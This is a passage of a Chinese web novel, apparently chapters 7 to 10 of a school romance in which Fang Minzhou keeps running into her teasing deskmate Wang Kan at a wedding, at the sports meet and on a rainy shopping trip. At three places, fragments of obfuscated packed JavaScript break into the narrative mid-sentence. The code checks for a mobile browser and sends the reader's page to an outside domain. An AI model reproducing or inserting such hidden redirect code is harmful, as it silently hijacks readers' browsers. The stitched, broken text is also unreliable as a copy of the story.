“……没事。”方敏周边说边往面里浇了一点点醋,“他下次找你你别理他。” “哦……”元月应道,又好奇问,“所以你到底为什么看他……不顺眼?” 方敏周嘴下不再留情,说坏话就说坏话吧,“他这样的,看不顺眼不很正常吗?” 还好吧,元月心里嘀咕,想起王衎当时拦住她,结果挠着脑袋、苦恼的样子。她觉得他挺真诚的,但元月也知道,方敏周是个认真的人,而那个叫王衎的男生……虽然她和他没有太多接触,但确实可以看出他和方敏周不是一类人。 有些人一见如故,有些人相看两厌,这是很正常的事情,好比物种之间天然的差异性,但当时元月没有和王衎说这些。 王衎适合当蜡像,但凡说点什么、做点什么,就让方敏周不舒服。 他找元月这事,方敏周姑且算他出发点是好的,可那种被人从背后打听的感觉挥之不去,她有点介意,连带着下午对王衎的态度也冷了一分,具体表现在小组讨论的时候她懒得理他的插科打诨。 她和王衎的关系不至于像之前那样紧张,但构成的联结脆弱得好比纸糊的盔甲,不攻自破。 王衎尚且猜不透女孩心,但察言观色的本事见长,刨根问底的脸皮也愈厚,他以一种学术的精神好奇方敏周“又怎么了”,所以最后一节晚自习铃声打响,没有加入欣喜若狂放假回家的队伍中,而是问方敏周:“你要不要吃夜宵?我请你。” 方敏周不解,看白痴一样地看他,“不用,谢谢,我要回家了。” 国庆第一天,方敏周就和爸妈一起去看望外公外婆,之前的推诿并不是胡诌的借口。 方敏周爸妈其实能算青梅竹马,邻村,以前条件差,方圆几里几个村的孩子都上的同一个小学,不过听她妈说,他们是后来上了初中才第一次说上话。 方敏周的爷爷在她出生前就去世了,奶奶则是在方敏周五六岁的时候走的。年纪小不记事,听大人说,她奶奶是在她出生后不久摔倒中了风,方敏周的脑海中,的确长久保留着一块奶奶常年卧病在床的记忆。 也是听大人们说,为了照顾老人和小孩,她妈不得不辞掉了原来会计的工作,在方敏周上了小学后,才去了街道办上班,虽然工资地位不如从前,但也算稳定清闲。 也是大人们说,“你妈妈不容易哦,吃了很多苦过来的,所以你要听话,好好学习。” 最苦的日子,外婆专门赶来照看过她一段时间,方敏周没印象,但长大后,自觉不自觉地都会很亲近外公外婆,逢年过节只要有空就会去看看他们。 外公外婆家在樟城和邻市江城的交界处,从樟城市区过去交通很不方便,以往方敏周要去都得爸妈开车带着,后来长大后,要是爸妈没空,她就会自己去乘喇叭声极刺耳的城乡巴士。颠簸半天,下了车难免要吐口酸水,所以她曾暗暗决定,成年后第一件事情就是要去考驾照。 在外婆家小住了几天,回来后还有要事,方敏周某个堂哥结婚请客。 每到重要场合似乎就没有合适的衣服,她妈带她逛街,挑了几件裙子让她试穿。方敏周是个大姑娘了,如果不是有一件连衣裙后背的拉链她实在拉不上来,她也不好意思让她妈进更衣室来帮她。 结果这一进来,她妈手指按上她的肩膀,“这怎么回事?撞到了?” “啊……”方敏周忘了这茬,她照着全身镜微微扭身,也许是皮肤白的缘故,左肩膀一点点暗青也很明显,“之前不小心撞到了。” “哎哟,什么时候撞到的?怎么撞到的?”赵宁英连问,“你怎么都不跟我说呢,早点跟我说,家里有药油抹一下就好了,还痛不痛?” “不痛,没事啦,其实都看不出来了。” 赵宁英还是心疼。 拉上拉链,母女俩一起看向镜子里的方敏周,一条蓝色方领连衣裙,刚好露出锁骨的线条。 方敏周穿惯了口袋布似得的校服,这样的自己有点看不惯,倒是妈妈连声夸道:“就这条,好看,直接穿着,要是后背没这块就好了。” 方敏周笑她夸张,明明都看不出来了。 “你下次哪里磕着碰着哪里了要跟爸爸妈妈说知道吗?自己在学校里面要小心一点,怎么好端端地把肩膀撞到了呢……” 妈妈带着方敏周去前台结账,还拧着眉念叨,方敏周在心里默默骂了王衎一句。 结婚的表哥方敏周只在过年时见过,不熟。婚礼当天,长辈们都忙着帮衬,而方敏周在小一辈里格格不入,要么是比她大到都成家立业了的,要么就是还在上幼儿园,缠着妈妈不放。 方敏周无所事事到拿着酒店说明书看,心想着要是早知道这样就带作业来了,爸妈见了,让她起来动一动,“你要不先去吃点东西?不过别吃太多,等会还要吃饭的。” “好。”方敏周说。 她并不饿,到了一楼的茶餐厅,打算点点小食。 正排着队,有小男孩在餐厅里追逐打闹,在服务员制止前,双双摔倒,其中一个手里拿着的饮料高高飞了出来。 方敏周自己躲,眼疾手快把排她身后的一个小女孩也拉过来。 饮料摔了一地,溅到了人,唯一值得庆幸的是还好不是玻璃杯。两个男孩哭得一个比一个大声,赶来的家长责备怒骂和道歉齐飞。 方敏周有点怕她旁边的小女孩被吓到,不过小女孩看了会那边的惨状,扬起小脸,对方敏周说:“谢谢姐姐。” 方敏周很欣慰,“你一个人吗?” 小女孩十岁左右,摇摇头,忽然朝她们身后招手,喊道:“舅舅,我在这里。” 舅舅?方敏周随之看去,与王衎四目相对,双方都是一愣。 王衎把手从夹克外套兜里拿出来,挠了挠脸,轻咳了声,“你怎么在这?”说着指了指不远处混乱的一团,“咋了那边?” 方敏周的怒气一下子就起来了:“你怎么能让你妹妹一个人乱跑啊?” 王衎“嘿”了声,“她都一个人乱跑了,我还能怎么办,这不是找过来了吗?” 方敏周气结,又不想在小朋友面前吵架,硬着声音:“你带她出来玩就应该守着她啊,小孩子跑能跑到哪里去?刚才那边就是家长没有看着,摔了。” 小女孩拉了拉她的衣服:“姐姐,别生气……” 方敏周眼睛盯着王衎,手抬起来,摸了摸小女孩的脑袋。 “ok,我错了,对不起。”王衎很无赖地投降,又板正脸,对小女孩说,“下次不准乱跑了知道吗?” 小女孩点点头。 方敏周严肃道:“她没有乱跑,是你没看好她。” 王衎:“……ok,那是我乱跑行了吧。” 方敏周不想再理王衎,但他又带着小女孩排在她后面,过了会,大概是尴尬,向她介绍,“这我外甥女,叫徐冉。”又对小女孩说,“这是哥哥的同桌。” “同桌”两个字,他加了重音。 方敏周:“……” 她弯腰告诉徐冉她的名字,徐冉乖巧地说:“方姐姐好,我叫徐冉,太阳冉冉升起的‘冉’,你可以叫我冉冉。” ……有点耳熟的自我介绍,不过小女孩说就显得很聪明。 徐冉:“我今天是来参加我表舅的婚礼。” 方敏周:“哦,这样啊,我也是来参加婚礼的。” 头顶传来王衎的声音,“怪不得。” 怪不得什么? 方敏周这才意识到自己的穿着不同往日,头发也放下来了,不禁羞恼地抬眼瞪去,王衎脖子一缩,视线飘开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270956|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 接下来的等候时间,方敏周都如芒在背。 终于轮到她,方敏周点了一个含玩具的套餐,让服务员把玩具转赠给徐冉,另外问徐冉想吃什么,又请她吃了一个圣代。 点完餐,她拿了小票转身的时候刻意忽略王衎的存在,找到一个靠窗的角落,但没过多久,一大一小还是找到了她。 跟在后头的王衎说:“是她要找你的。” 方敏周:“……” “不过我刚听她说了,你拉了她一把,我刚不知道……谢谢啊。” 语气依然说不上多郑重,但方敏周看他摸着后颈一脸别扭,多少消了点气。 他们点的餐先后被端上来,方敏周向服务员多要了一份餐具,又把她点的提子松饼分了一块给徐冉,徐冉说着“谢谢姐姐”,把她点的小吃拼盘推到中间,两个人相视一笑。 真可爱,方敏周心想,眼睛大大的,笑起来弯弯的,这点上来说……看看在小女孩旁边的王衎,稍微是有点亲缘关系上的相似,但性情天壤之别。 “没我的份?”王衎出声。 方敏周:“……” 王衎一招手,向服务员又要了一份餐具,方敏周只好也分给他一块松饼。 真不要脸。 “你作业写完了吗?”王衎一边吃松饼一边问。 他吃松饼吃得眉毛都皱在了一起,方敏周想起来之前他说他不喜欢吃甜的,既然不喜欢,为什么又要讨罪受?贪吃?还是觉得别人有所以他也要?到底谁是小孩子啊。 她敷衍地点了下头。 “你这什么反应,”王衎似笑非笑,“我没打算向你借作业抄。” “我又没说你要找我借作业。” 王衎不置可否,“还有两三天才返校,现在作业就写完了才不正常吧。” 方敏周把叉子用力插入厚软的松饼里。 “她作业那么少也没写完。”王衎拉上徐冉。 徐冉看了看两人,“我快写完了。” 王衎:“……” 方敏周拿起一根薯条掩饰自己忍不住的笑,她问徐冉:“你几岁了,读几年级?” 王衎抢白:“九岁,四年级。” 方敏周和徐冉都不看他,徐冉自己回答了一遍:“九岁,四年级。” 方敏周也对着她说:“好好学习哦,不要像……一样。” 徐冉点头。 ”我怎么了?方敏周,“王衎喊她的名字,“你现在直接当着我的面说我坏话了?” 方敏周淡淡地回:“我只是客观评价。” 王衎:“……” 徐冉舔了舔嘴角沾到的酱料,方敏周本来只是想抽一张纸巾递给她,但手伸出去顺手也帮人擦了。 王衎看着这一幕,越发觉得自己多余,强行找话:“你国庆有出去玩吗?” 方敏周不答反问:“你去哪玩了?” “没玩,就跟我妈回了趟南城,他们在南城做生意。” 方敏周:“哦。” 自讨没趣的王衎闭嘴了。 “去看阿太阿公。”徐冉脆生生地接话。 王衎看了眼徐冉,怕方敏周关系混乱,补了句:“我外公外婆。” 方敏周想了想,徐冉是王衎的外甥女,也就是王衎表姐的女儿,这样算来,王衎和同辈的亲戚年龄相差也很大。 “他们都住南城?”方敏周问。 王衎没想到方敏周在这话题上愿意搭理他,“嗯,我妈是南城人,之前想让他们搬过来,但不愿意,不过南城气候确实也比樟城好点。” “老人家都这样,我外公外婆也是。” “你外公外婆也在南城?” 方敏周无语,这是什么推理逻辑?她说:“不是,樟城,但在白水那边。” “哦我知道,我去过。” “你去过?” “白水那边有个水库,我爸带我去钓过鱼。” 方敏周颇感意外,但转念一想,也许过去经过水库看到的钓鱼的父子里就有王衎和他爸,突然就有点不适。 她选择继续吃松饼。 王衎:“……” 还没聊呢又熄火了,真搞不懂。 吃完点心,三人乘电梯回到楼上的宴会厅。电梯门打开,方敏周先走出去。 她的头发撩到了前面,王衎无意间发现她露出的左边肩胛骨处有一小块淡淡的青色,他愣了下,反应过来后有些不知所措。 他还想仔细看看,方敏周已经转过身,眼神略过他,而仅向徐冉专门道了别,王衎舔了舔嘴唇,默然不语。 两场婚礼在大厅两边,方敏周刚往右边走没几步,就碰上迎面走来的她爸,他的视线越过她,“这谁,你同学?” 方敏周不知道为什么有种被抓包的紧张,“嗯……我同学。” “现在班上的?” “嗯。 “这么巧?他家里也有人在这里结婚?” 方敏周观察她爸的表情有无异样,但好像只是意外,“嗯。” “那小孩是他妹妹?” “不是,他外甥女。” “外甥女都这么大了……”她爸若有所思。 另一边,王衎牵着徐冉消失在拐弯。 徐冉:“舅舅。” 王衎:“嗯?” 徐冉:“你和方姐姐关系好吗?” 王衎:“……关你什么事。” 8. 第 8 章 假期返校后的第一个早自习,王衎在狂抄作业。 他来的时候,极为自然地和方敏周打招呼,仿佛忘了之前夸下的海口,“哈喽同桌,早上好,作业借我抄一下。” 方敏周目瞪口呆,欧阳茜也目瞪口呆。 郑彦航虽疑惑但跟从:“可以吗?那英语的也借我一下?吴丞没写。” 方敏周拒绝,王衎有所预料一般,转头就拿了郑彦航已经抄好的卷子,说这话好像就是要捉弄她,看她作何反应。 方敏周真怕大家误会他俩很熟。 化学课,詹老师直接讲解试卷,让方敏周把大家订正好的卷子收好来。她收齐后拿到到办公室,出于好奇,特别翻开王衎的看了看,化学试卷貌似是自己做的,正确率百分之六十。 一中出了名的校风宽松,是一种信任也许也是一种特权。 她嫌弃王衎的学习态度,不是因为他成绩不好,成绩与学习态度不完全相关,而是本身就不喜欢吊儿郎当的人。 王衎也并非完全不在乎成绩,但偏作出散漫随性的派头。 方敏周初三时,班上有本来成绩比较差的同学发愤学习然后逆袭的,但那是中考,和高考的难度无法相提并论,马上可就又要期中考了——想到这,方敏周高兴了一点,她好像有机会能申请调换座位了。 不过在期中考前,更重要的大事是运动会。 这本来与方敏周无关,虽然她身体素质不错,但没有参加体育赛事的兴趣,而长假刚结束,大家的心也都还飘忽忽得没有收回来,报起名来非常积极,不过还是有一些艰巨项目没有报满。 为了班级积分,体委求人无果,便强制抽签。 方敏周随手一抽、抽中了女子跨栏。 “哈哈哈!”旁边抻长脖子密切关注的王衎先一步笑出声,幸灾乐祸地向方敏周做个了“加油”的手势。 焦头烂额的女生体委卑微道:“敏周,辛苦你啦,只要有人参加就可以,不用管名次,如果你不能跑的话,可以找人换,然后和我说一声就行。” “没事,就我吧。”方敏周说,虽然她也觉得自己有点倒霉,宁可抽中三千米也不想跨栏,但她遵守规则。 “那太好了,谢谢谢谢。” 欧阳茜有点担心,“你跨栏过吗?” “没有,但……重在参与吧,” 欧阳茜想说这东西好像没那么好练,每年运动会,跨栏都是出洋相最多的项目之一,但看方敏周这么淡定,欧阳茜也不多说了。 因为她有点自身难保,作为团支书为了起到带头作用,以身作则报了数项,现在有点郁闷。 “这个时候你不努力拼搏一下了?”王衎语带挑衅。 方敏周回他:“那你打算拿第几名?” 王衎一愣,琢磨了下,“你知道我报了什么项目?” “跳高和男子接力。” 王衎还挺意外,“你这么关注我呢?” “……你自己和郑彦航报的名,你们就坐我旁边,我还没聋。”方敏周无语,“你这样还怎么参加运动会?” 王衎尴尬。 他本来是想调侃方敏周,没想到反过来被她将了一军。那个时候她在看书,他哪知道她原来还耳听八方。 欧阳茜转过身前指了指自己的脑袋,对王衎说:“没事,跑步用的小脑。” 方敏周笑出声。 真好笑。 王衎扯了扯嘴角。 不过他还是想知道刚才的答案,问方敏周:“所以你觉得我能拿第几名?” 方敏周不理他。 王衎不依不挠:“接力不提,如果我跳高拿了第一名怎么说?” 继续写作业的方敏周头也没转,“不可能。” “怎么不可能?” 方敏周斜他一眼,“你当我们学校体育生吃素的?” 王衎:“……” 好吧,他忘了还有这拨人的存在。王衎退了一步,“那前三呢?如果我拿了前三怎么说?” 方敏周奇怪:“什么怎么说,说感谢你为班级争光?” 王衎:“……” 他发现他有点吵不过方敏周?但她未免也太冷漠,一句加油的话都没有,他虽然是开玩笑,好歹还说了吧? 王衎把桌上摊着的杂志立起来挡住了脸,方敏周瞥了眼,新一期的体育周刊,《苏菲的世界》已经沉入湖底。 运动会在十月底,还有三周的时间,既然被报上了名,方敏周其实是打算认真对待的。 她怕受伤怕摔倒,但是要练跨栏就不能怕,可要是现在就摔了,比赛也比不了了,真是个互相矛盾的难题。 好在她个子高、柔韧性也不错,平时按体育老师告知的训练方式练习,课上老师再指导,至少是能够安全跨过所有栏杆,慢了一点,但老师说她有节奏感,之后速度可以加快。 按照以往这个比赛层出不穷的状况,至少不会是最后一名,因为一中没有专攻跨栏的体育生,会参加这个项目的,十有八九手气都不怎么样。 欧阳茜每天傍晚都会和方敏周一起到操场锻炼。 十月份黄昏的天空晚霞灿烂,气温松快了点,虽然仍然燥热,但经过湖面吹来的秋风凉爽湿润。 锻炼完,方敏周和欧阳茜会上到正中央的看台上坐着再休息会,吹着风听广播,看操场上的人影像湖里的水草似的摇晃。 学校广播员挑选的标准一定要声音好听吧,有次欧阳茜提到林斯年好像是广播站的,方敏周才想起来是有这么一回事,但再好听也不如放的歌受欢迎。每次最后一首歌响起,就是提醒催促大家该回去上晚自习了,走在路上,有时还会听到路过的人意犹未尽地跟着哼唱。 王衎也是其中的一位。 看台背后是篮球场,方敏周和欧阳茜她们上下看台时,都会看见不知疲倦的男生在打篮球。好几次她们回班级的时候,还能碰到刚打完的同班男生。 这似曾相识的场景总会让方敏周想起她和王衎别扭关系的罪恶起源,但她又不能拉着欧阳茜避开,而有次欧阳茜和其他人聊天落到后面时,王衎则走到了她身边,“你走这么快干嘛?” 她并没有。 她不搭理王衎,王衎却莫名得意,夜色中漂浮着混着杂音的歌声,走着走着,她也听到了王衎的。 方敏周加快脚步,他也加快。 方敏周觉得王衎这个人真的很……讨打,之前做小伏低向她道歉,现在反而时不时撩拨人。 她看出他是故意要惹她生气,至于图什么,不知道,而他越是想招惹她,方敏周脖子反而梗得越硬,无论心里怎么想的,至少表面上不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270957|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为所动。 运动会除了比赛外,还有开幕式表演,另外每个班级都可以在各自的班级区域摆摊,詹老师只抓成绩,这些活动全权交给班干部负责,大家借班会时间讨论摆什么摊。 学校活动虽然有高三的份,但高考在即,其实都没什么心情精力了,所以大家都把高二的活动当作高中最后狂欢放肆的机会,因此各方意见争执不下,决定干票大的,搞个一应俱全的万事屋之类的。 吃的要买、小玩意也要买,再搞些抽奖小游戏……只是这样班委的工作量就大了,有了许多需要提前购买和预定的东西。 班会是每周三上午最后一节课,尚未讨论完的话题被带到了食堂,方敏周和欧阳茜一起,莫名也坐到了几个主要班干之间。 不过她好歹还是个化学课代表,一顶帽子都没有的王衎不知道是怎么“混”进来的。 哦,郑彦航是男体育委员,裙带关系吧。 “干脆周末挑一天一起去把东西买齐吧。”欧阳茜提议。 “可以,就这周末吧,周六还是周日?”林斯年问。 “我都可以,大家呢?” 有人有事,能去的数了数,除了欧阳茜和林斯年外,只有郑彦航和尹梦然,四个人,说多不多,说少不少。 “你有空吗?”欧阳茜问方敏周。 开班会的时候方敏周在写英语作业,只隐约听了个大概。这差事按理轮不到她,但方敏周看出欧阳茜好像挺希望她能陪她一起去的,她想了想,说:“我周六要补课,周日的话可以。” “周日可以吗?"欧阳茜问其他人。 几个人都点头。 “那就我们五个人?不过就我和班长两个男的……”郑彦航对王衎和吴丞说,“再来个人呗,正好凑齐。” 吴丞摇头:“我周末有事。” 郑彦航作势要动手:“你能有啥事,打游戏?少打一天不行吗?” “我真有事。” “你别瞎扯……” 王衎出声打断:“我去吧。” 餐桌上静了静。 王衎看众人反应,除了方敏周跟没听见似的一边吃饭一边挑葱花外,“干嘛,有必要这么惊讶吗?我看起来这么没有团体意识吗?” “没有,你看起来一个能顶俩。”欧阳茜说。 “欢迎你的加入。”尹梦然笑道。 “那周日下午两点,城西商贸中心门口集合?”林斯年问。 “……要不去小商品批发市场?”欧阳茜说,“虽然东西没有商贸中心多,但价格更便宜,而且离商贸中心也挺近的。” 大家都没异议。 至此,吴丞拍了拍郑彦航的胳膊:“现在能放开我了不?” “去你的。” 哄笑声中,低头默默进食方敏周终于抬起头,这一眼与斜对面的王衎对上视线,后者朝她挑了挑眉。 方敏周:“……” 她摆正目光,她对面坐着的是林斯年。他看了看她的餐盘,忽然开口:“我也不吃葱。” 被发现“挑食”,方敏周有点不好意思,她说:“我比较奇怪,我能接受菜里有,但我自己不能吃到它。” “那我比你严重点,带葱花的菜我都不行。” 一只耳朵听到的王衎倍感无聊地翻了个白眼。 9. 第 9 章 方敏周有点后悔和爸妈说她周日要和同学去市场的事情,因为刚吃完中饭,她妈就催她出门了。 尽管方敏周明确告诉他们集合的时间是下午两点,方良平和赵宁英还是担心她会迟到。 她妈:“你乘65路过去至少要半个小时,这还不算上你等车和堵车的时间,一点了,差不多该出门了。” 她爸:“反正也没什么事情,早点去,别让同学等你。” 方敏周:“……” 实际乘公交二十分钟就够,而且现在明明才十二点四十。 赵宁英念叨:“你们这些小孩子哪里批发过什么东西,眼光看准点,买之前多问几家店,不要买贵了。” “有没有家长一起?要不老爸陪你……” 方敏周连忙摆手。 “晚上回来吃吗?”赵宁英问。 “应该回来吃吧。” “回来不回来吃饭,到时候都打个电话,知道吗?等会还下雨,下雨天更堵!我说你们要约约昨天多——” 方敏周:“我周六补课啊。” “……那下周也来得及嘛,下雨天搞得湿蹋蹋的,伞带了没有?” 继续待在家里也不会有清闲,方敏周妥协,开始收拾包,“知道了知道了,带了带了。” 天气预报说是下雨,但只是阵雨,因为尹梦然要采购开幕式表演的道具,时间赶,下周就得排练,大家在拉的小群里讨论,还是打算今天碰面,尽量早点搞齐。 而方敏周刚走到小区门口的公交车站,车就来了,车上人很少,下午一点半,她就到了市场门口。 站在印有鎏金大字的拱形红底门下,方敏周有些茫然。 秋老虎还剩个尾巴,但这尾巴很有劲儿,市场里外的店铺都还在午休,在金色的秋阳下,沉浸在一种昏然的安静中。 大门右边的第一家文具店门口搭起了一个雨棚,方敏周走过去在边上站着。看店的是一个卷头发的中年阿姨,坐在前台看了她一眼后,收回目光。 家长们的时间好像比他们快很多,小时候爸妈送她上学、补课,总是早早出门,方敏周往往第一个到班级干坐着,但爸妈就会说:“早到总比迟到好。” 然而等她长大了,方敏周发现自己也变成了很注重时间观念的人,但是……今天未免太早到了些。不过过了一会,眼望着渐渐成型、越飘越近的乌云,她又想还好早点出门了。 雨渐渐下起来。 秋天的阵雨细密无声,不像盛夏的暴雨会激起繁枝茂叶里的土腥味,下过之后,才感到寒意,但今天的雨貌似越下越大。 店内的阿姨观望了会,走出店铺,把摊子往里挪了挪,方敏周迟疑了一下,帮着搭了把手。 “谢谢啊小姑娘,等人呐?” “嗯。” “要来买什么东西啊?”阿姨试探着问。 “运动会,大家过来看看。” “这样啊,我女儿最近也要开运动会了。”阿姨打开了话匣,“你多大啊,读高中吗?” “嗯,高二。” “哦,那我女儿还在读初二。你是等同学吗,我看你等了有一会了啊?约的几点?” “嗯等同学,他们应该马上就到了。” “那你到店里等吧?” “没事,我在这里就行。” “那行,那你往里面站点,不要被雨淋到了。” “好的,谢谢阿姨。” 方敏周再拿出手机时,下午一点五十六分,群里有了新的消息:林斯年说他堵在路上了,可能会迟到一会,其他人也遇到了同样的情况。 她原地活动了下,抬头看看天空,雨丝飘到了她脸上。她倒没有不高兴,毕竟下雨天就是容易堵车,加上是她到的太早了,只是站久了,有点累。 不过要是大家等会都到了,这雨下得这么大,都要躲这儿,那场面也很滑稽。 “诶,小姑娘。”方敏周突然听到店内阿姨叫道,“那个,是不是你同学?” 方敏周低下头,有一个男生正冒着雨向她大步跑来。 一步之外,一道灰扑扑、白茫茫的雨帘,把市场门口的马路街景冲刷得模糊失色,显得冒雨而来的男生格外突兀。 男生脚步急刹,一头扎进雨棚里,方敏周还没看清是谁,对方跟狗似的猛甩脑袋,方敏周猝不及防,被溅了一脸雨水。 方敏周:“……” “对不起对不起——”王衎气喘吁吁的,下意识伸出手要帮方敏周擦脸,在差点碰到前堪堪收回手指。 方敏周没有发火,从帆布袋里拿出小包手帕纸,自己抽出一张后,把纸巾递给王衎。 “给我啊?不用……”王衎湿漉漉的脸上面露夸张的惊讶,随后话锋一转,拿过纸巾,“谢啦。” "来来来,给你一条毛巾擦擦。”阿姨从店里重新出来,上下扫过王衎,“哎哟,淋成这样,没带伞啊?” “忘了带了。”王衎眼睛一亮,“谢谢阿姨。” 他穿了一件浅灰色短袖,肩膀以下一半湿成深灰色,拿过毛巾盖在头上一通乱擦,毛巾揭下来后,黑色的短发一簇簇竖起来,从狗变成了……方敏周真不知道该怎么提醒他。 他自己毫无察觉,把头发往后随便捋过,看看四周,问方敏周:“几点了,怎么就我们两个?” “……堵车了都。” 王衎拿出手机,像是现在才看到群里消息,“哦——应该是前面天桥那边堵住了。” “你怎么知道?” “我跑过来的时候看到的。” 方敏周仔细想了想他这句话,没忍住问他:“你从天桥那边跑过来?” 天桥离这儿得有一两站公交车的距离。 “是啊,我本来打车的,但天桥那边就堵了,我以为我要迟到了就自己跑过来了,结果这雨越下越大。”王衎说话还有点喘,但语气得意起来,“不过没想到大家都迟到了,哈哈。” 方敏周不接话。 她觉得王衎需要进修说话的艺术,本来对他有点改观吧,他一张嘴叭叭叭,形象顿时跌回原点。 “你什么时候来的?”王衎进店内把毛巾还给阿姨,扭头问方敏周。 “刚来。”方敏周低声。 阿姨听见了,插嘴:“她等你们等好久啦,都快半小时了。” 王衎惊诧:“你这么早来干嘛?” 方敏周含糊:“……没很早。” 守时是好事,但过早到,既显得怪异又给人压力,所以方敏周都没有在群里发言。 王衎重新站到方敏周旁边,雨声潇潇,他看看方敏周,方敏周又是一个面无表情的侧脸,王衎就也看起雨来。 但一分钟不到,他的耐心告罄,下雨有什么好看的,他问方敏周:“你要不要买点笔啊本子什么的?” “……我有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看她硬是把脸别开,王衎大着舌头,“你要笑就笑呗。” 方敏周正了脸色。 “哇……你这个人……”王衎感慨,他都不介意她嘲笑他,她还哪来这么重的包袱?还是讨厌他讨厌到一个笑都吝啬? 方敏周眼刀扫过来,王衎也不说话了,又咬了口鸡蛋仔,太甜,他皱了皱眉,不想吃了。 “多少钱?”方敏周问,见王衎嫌弃的表情,她也皱眉,“你不要浪费食物。” “我没浪费啊,等郑彦航他们给了一起分了。”王衎撕掉自己咬过的部分。 方敏周:“……所以多少钱?” “你先吃吧。”王衎一句话把她堵了回去。 方敏周知道王衎不差钱,但她才不要他请客,反正会把钱还他,她不再追问,小心撕下一小块鸡蛋仔,咬了一口,外表酥脆、内里绵软,夹着满满的红豆夹心,明明就很好吃。 察觉到王衎的目光,她看回去。 “……好吃?”王衎问。 方敏周觉得王衎的眼神有点奇怪,不像是真的要问她味道怎么样,但她还是点了点头。 王衎忽然“啧”了一声,“真搞不懂你们女生怎么这么爱吃甜的。” “因为你山猪吃不了细糠。” “我山……”王衎语结,深呼吸一口气转过头去,又嘟囔了一句什么,但方敏周没有听清。 也许是骂她白眼狼?不知道,方敏周又撕下一块鸡蛋仔,堵住笑,看着淅淅沥沥的雨丝,反正她很满意自己刚才的回击。 10. 第 10 章 雨将停未停时,其他人陆陆续续到了,一问还真是都堵在了天桥底下。 郑彦航看到王衎的样子,惊讶:“你怎么淋成这样?” “没带伞。” “啥时候到的?” “早到了,等你们等到衣服都干了。”他扯扯衣服。 “啊?你等很久了?”欧阳茜很不好意思地对方敏周说。 “没,我刚到。” 王衎看了看她,没有戳穿。 一行人边聊边往市场里走,方敏周同欧阳茜和尹梦然分享鸡蛋仔,“不过有点冷掉了。” “冷掉了也好吃。”欧阳茜撕了一大块,“是门口那家店买的吗?” “……应该是吧,”方敏周并不知道欧阳茜说的是哪家店,“王衎买的。” “嗯?他请客?” “……嗯。” 尹梦然看了方敏周一眼,又扭头看向身后,王衎的那份已经被三个男生吃完了,而他正把纸袋揉成一团,抬手踮脚,做出投篮的动作,抛向路边的垃圾桶。 方敏周和欧阳茜也回头,正好看见王衎投篮失败。他面露窘迫,立刻跑去把垃圾捡起来,老实扔进了垃圾桶里。 这次方敏周是真没忍住,低笑一声,连忙转过头,然后听见尹梦然说:“你……小心别感冒了。” “不会。”王衎回答。 方敏周发吃掉最后一口鸡蛋仔。 东西买的很顺利,其一是欧阳茜对这个市场很熟悉,带着他们左拐右拐,不耗费时间精力就能找到合适的店,她说是因为她有亲戚在这里开过店。 有一家卖手工针织小玩偶的店,老板是一个二十出头的漂亮姐姐,热情地招呼他们,让他们随便挑。她和欧阳茜在一旁聊天,方敏周听见她们提到了欧阳茜的小姨。 “她忙着搞她那个小酒馆,上次帮我运了一次货后我就没见过她。”老板说,“不过今天我们晚上要聚一下,你要不要来?” “我啊?”欧阳茜笑,“我能去吗?” “能啊,怎么不能。” 所以原来是欧阳茜小姨以前在这里开过店?方敏周想。 最后林斯年建议每个人挑三个款式,每个款式先订五个,“这样也有将近一百个了,我们第一天可以先试试水,如果卖得好,再临时订一些,卖得不好,应该至少也能卖掉一半,剩下的我们就全班一人一个分了,也不浪费班费。” 大家都同意。 老板给了他们很大的折扣。 而整趟采购顺利的原因之二,是王衎很会砍价。 欧阳茜虽然是个活地图且有人脉,但毕竟不是每一个店主都认识,这个时候王衎就展示了惊人的一面。 面对温厚好说话的老板,明明是学生,开口却是要做大生意的派头,而对那些态度强硬的,王衎不多说,谈不下来就示意其他人和他一起去下家,往往没走几步,后头老板就会叫住他们:“行行行,七折就七折!” 他们折回去,老板半开玩笑地说他们现在这些学生仔真是不简单。 方敏周糊里糊涂地跟着,而其他人,特别是欧阳茜和郑彦航,很快就娴熟地和王衎打配合,逛到饰品店的时候,欧阳茜拉上尹梦然打广告:“老板,这是我们学校舞蹈社的,舞蹈社女生可多了,你便宜点卖我,我们到时候到学校里帮你们宣传。” 林斯年是负责付款的那个,时不时要记得拉住有点兴奋起来的几人,方敏周觉得有趣,渐渐得还有些不知道自己来干嘛的茫然。她既不像欧阳茜那么会说话,也没有尹梦然挑东西的眼光,那些玩偶饰品什么的,在她眼里都一个样,而且她可能更没接受的是,在这个临时组成的小分队里,王衎比她的作用更大。 她一边觉得自己在这些人情世故上差了同学一截,一边觉得早知如此,她不如在家里刷题。 “方敏周,你能帮我记一下我们已经买了的东西吗?”林斯年忽然问她。 心不在焉的方敏周回过神,“哦,好啊。” 林斯年把他备忘录里的内容发给她,方敏周有点不好意思,她猜班长可能看出了她的格格不入,所以善意地分给了她一点事情做。 他们逛完了二楼的所有的饰品店,最后逛的这家老板大方地送了她们三个女生一人一条时下流行的手链,欧阳茜和尹梦然当即都戴上了,方敏周把她的那条放进了帆布袋里。 